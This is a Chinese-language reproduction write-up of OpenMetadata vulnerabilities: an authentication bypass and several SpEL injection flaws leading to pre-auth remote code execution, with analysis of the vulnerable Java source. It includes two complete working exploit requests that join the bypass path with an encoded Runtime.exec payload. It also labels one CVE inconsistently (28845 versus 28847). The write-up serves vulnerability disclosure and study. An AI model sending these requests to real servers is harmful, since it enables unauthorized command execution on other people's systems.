OpenMetadata 身份认证绕过漏洞与多个表达式注入漏洞复现

0x01 简介

OpenMetadata是一个用于数据发现、数据沿袭、数据质量、可观察性、治理和团队协作的一体化平台。它是发展最快的开源项目之一,拥有充满活力的社区,并被各行业垂直领域的众多公司采用。OpenMetadata 由基于开放元数据标准 API 的集中式元数据存储提供支持,支持各种数据服务的连接器,可实现端到端元数据管理,让您可以自由地释放数据资产的价值。

0x02 漏洞概述

OpenMetadata 容易受到多个 SpEL 表达式注入和身份验证绕过的攻击,从而导致预身份验证远程代码执行。相关的漏洞编号如下:

  • CVE-2024-28253
  • CVE-2024-28254
  • CVE-2024-28845
  • CVE-2024-28848
  • CVE-2024-28255(Authentication Bypass)

0x03 影响版本

OpenMetadata < 1.2.4

0x04 环境搭建

本次复现用到的环境为了 OpenMetadata 1.2.2,可以 Github 下载 docker-compose.yml 一键搭建环境,下载好 docker-compose.yml 文件后,使用命令

1
docker-compose up -d 

启动环境,启动后访问 http://localhost:8585,OpenMetadata 默认的账号密码为 admin/admin。OpenMetadata 首页下图所示:

0x05 漏洞复现 & 分析

CVE-2024-28255(Authentication Bypass)

在 OpenMetadata 使用 JwtFilter.java 对 JWT 进行验证,有部分 API 不需要做认证,在 JwtFilter.java 对这部分不需要做认证的 API 进行排除,如下:

1
2
3
4
5
6
7
8
9
10
11
12
public static final List<String> EXCLUDED_ENDPOINTS =
List.of(
"v1/system/config",
"v1/users/signup",
"v1/system/version",
"v1/users/registrationConfirmation",
"v1/users/resendRegistrationToken",
"v1/users/generatePasswordResetLink",
"v1/users/password/reset",
"v1/users/checkEmailInUse",
"v1/users/login",
"v1/users/refresh");

在 API 进行鉴权时,OpenMetadata 的写法如下:

1
2
3
4
5
6
7
public void filter(ContainerRequestContext requestContext) {
UriInfo uriInfo = requestContext.getUriInfo();
if (EXCLUDED_ENDPOINTS.stream().anyMatch(endpoint -> uriInfo.getPath().contains(endpoint))) {
return;
}
...
}

使用 getPath 获取请求的路径部分并解析任何转义字符(如URL编码的斜杠),再使用 contains 判断路径是否在 EXCLUDED_ENDPOINTS 集合中,如果用户的输入为 /api/v1;v1%2fusers%2flogin/xxx 则该条件成立,直接返回则绕过了鉴权。

看完鉴权绕过那么对于后面的 SpEL 注入就可以利用该技巧绕过鉴权,实现未授权 RCE。

CVE-2024-28254

该漏洞出现在 EventSubscriptionResource.java 中,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@GET
@Path("/validation/condition/{expression}")
@Operation(
operationId = "validateCondition",
summary = "Validate a given condition",
description = "Validate a given condition expression used in filtering rules.",
responses = {
@ApiResponse(responseCode = "204", description = "No value is returned"),
@ApiResponse(responseCode = "400", description = "Invalid expression")
})
public void validateCondition(
@Context UriInfo uriInfo,
@Context SecurityContext securityContext,
@Parameter(description = "Expression to validate", schema = @Schema(type = "string")) @PathParam("expression")
String expression) {
AlertUtil.validateExpression(expression, Boolean.class);
}

在 AlertUtil.java 中 validateExpression 的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static <T> T validateExpression(String condition, Class<T> clz) {
if (condition == null) {
return null;
}
Expression expression = parseExpression(condition);
AlertsRuleEvaluator ruleEvaluator = new AlertsRuleEvaluator(null);
try {
return expression.getValue(ruleEvaluator, clz);
} catch (Exception exception) {
// Remove unnecessary class details in the exception message
String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", "");
throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));
}
}

而 parseExpression 位于 CompiledRule.java 中,其函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
private static final SpelExpressionParser EXPRESSION_PARSER = new SpelExpressionParser();
...
public static Expression parseExpression(String condition) {
if (condition == null) {
return null;
}
try {
return EXPRESSION_PARSER.parseExpression(condition);
} catch (Exception exception) {
throw new IllegalArgumentException(CatalogExceptionMessage.failedToParse(exception.getMessage()));
}
}

在这里解析 expression 的写法存在问题 ,导致攻击者可以构造恶意参数执行系统命令,复现如下:

1
2
3
GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29 HTTP/1.1
Host: localhost:8585
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36

结果

CVE-2024-28847

该漏洞位于 /api/v1/events/subscriptions 同样是由于 AlertUtil::validateExpression 引起的,具体调用成如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
  @PUT
@Operation(
operationId = "createOrUpdateEventSubscription",
summary = "Updated an existing or create a new Event Subscription",
description = "Updated an existing or create a new Event Subscription",
responses = {
@ApiResponse(
responseCode = "200",
description = "create Event Subscription",
content =
@Content(
mediaType = "application/json",
schema = @Schema(implementation = CreateEventSubscription.class))),
@ApiResponse(responseCode = "400", description = "Bad request")
})
public Response createOrUpdateEventSubscription(
@Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreateEventSubscription create) {
// Only one Creation is allowed for Data Insight
if (create.getAlertType() == CreateEventSubscription.AlertType.DATA_INSIGHT_REPORT) {
try {
repository.getByName(null, create.getName(), repository.getFields("id"));
} catch (EntityNotFoundException ex) {
if (ReportsHandler.getInstance() != null && ReportsHandler.getInstance().getReportMap().size() > 0) {
throw new BadRequestException("Data Insight Report Alert already exists.");
}
}
}
EventSubscription eventSub = getEventSubscription(create, securityContext.getUserPrincipal().getName());
Response response = createOrUpdate(uriInfo, securityContext, eventSub);
repository.updateEventSubscription((EventSubscription) response.getEntity());
return response;
}

// EntityResource.java
public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {
repository.prepareInternal(entity, true);

// If entity does not exist, this is a create operation, else update operation
ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());
MetadataOperation operation = createOrUpdateOperation(resourceContext);
OperationContext operationContext = new OperationContext(entityType, operation);
if (operation == CREATE) {
CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);
authorizer.authorize(securityContext, operationContext, createResourceContext);
entity = addHref(uriInfo, repository.create(uriInfo, entity));
return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();
}
authorizer.authorize(securityContext, operationContext, resourceContext);
PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);
addHref(uriInfo, response.getEntity());
return response.toResponse();
}

// EntityRepository.java
public void prepareInternal(T entity, boolean update) {
validateTags(entity);
prepare(entity, update);
setFullyQualifiedName(entity);
validateExtension(entity);
// Domain is already validated
}

// EventSubscriptionRepository.java
@Override
public void prepare(EventSubscription entity, boolean update) {
validateFilterRules(entity);
}

private void validateFilterRules(EventSubscription entity) {
// Resolve JSON blobs into Rule object and perform schema based validation
if (entity.getFilteringRules() != null) {
List<EventFilterRule> rules = entity.getFilteringRules().getRules();
// Validate all the expressions in the rule
for (EventFilterRule rule : rules) {
AlertUtil.validateExpression(rule.getCondition(), Boolean.class);
}
rules.sort(Comparator.comparing(EventFilterRule::getName));
}
}

CVE-2024-28848

该漏洞位于 PolicyResource.java/validation/condition/{expression}, 其函数定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@GET
@Path("/validation/condition/{expression}")
@Operation(
operationId = "validateCondition",
summary = "Validate a given condition",
description = "Validate a given condition expression used in authoring rules.",
responses = {
@ApiResponse(responseCode = "204", description = "No value is returned"),
@ApiResponse(responseCode = "400", description = "Invalid expression")
})
public void validateCondition(
@Context UriInfo uriInfo,
@Context SecurityContext securityContext,
@Parameter(description = "Expression of validating rule", schema = @Schema(type = "string"))
@PathParam("expression")
String expression) {
CompiledRule.validateExpression(expression, Boolean.class);
}

该函数调用 CompiledRule.java 中的 validateExpression 函数,其函数定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private static final SpelExpressionParser EXPRESSION_PARSER = new SpelExpressionParser();
...
public static Expression parseExpression(String condition) {
if (condition == null) {
return null;
}
try {
return EXPRESSION_PARSER.parseExpression(condition);
} catch (Exception exception) {
throw new IllegalArgumentException(CatalogExceptionMessage.failedToParse(exception.getMessage()));
}
}

/** Used only for validating the expressions when new rule is created */
public static <T> void validateExpression(String condition, Class<T> clz) {
if (condition == null) {
return;
}
Expression expression = parseExpression(condition);
RuleEvaluator ruleEvaluator = new RuleEvaluator();
StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator);
try {
expression.getValue(evaluationContext, clz);
} catch (Exception exception) {
// Remove unnecessary class details in the exception message
String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", "");
throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));
}
}

EXPRESSION_PARSER.parseExpression(condition); 标准的 SPel 注入,没有正确的使用解析,导致 RCE。复现如下:

1
2
3
GET /api/v1;v1%2fusers%2flogin/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29 HTTP/1.1
Host: localhost:8585
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36

结果

CVE-2024-28253

同样也是由于 CompiledRule::validateExpression 导致的 RCE,相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// PolicyResource.java
@PUT
@Operation(
operationId = "createOrUpdatePolicy",
summary = "Create or update a policy",
description = "Create a new policy, if it does not exist or update an existing policy.",
responses = {
@ApiResponse(
responseCode = "200",
description = "The policy",
content = @Content(mediaType = "application/json", schema = @Schema(implementation = Policy.class))),
@ApiResponse(responseCode = "400", description = "Bad request")
})
public Response createOrUpdate(
@Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreatePolicy create) {
Policy policy = getPolicy(create, securityContext.getUserPrincipal().getName());
return createOrUpdate(uriInfo, securityContext, policy);
}
// 同 CVE-2024-28847 的调用过程。

0x06 修复方式

官方已发布新版本,请及时更新。

0x07 参考链接:

https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata/
https://forum.butian.net/share/2569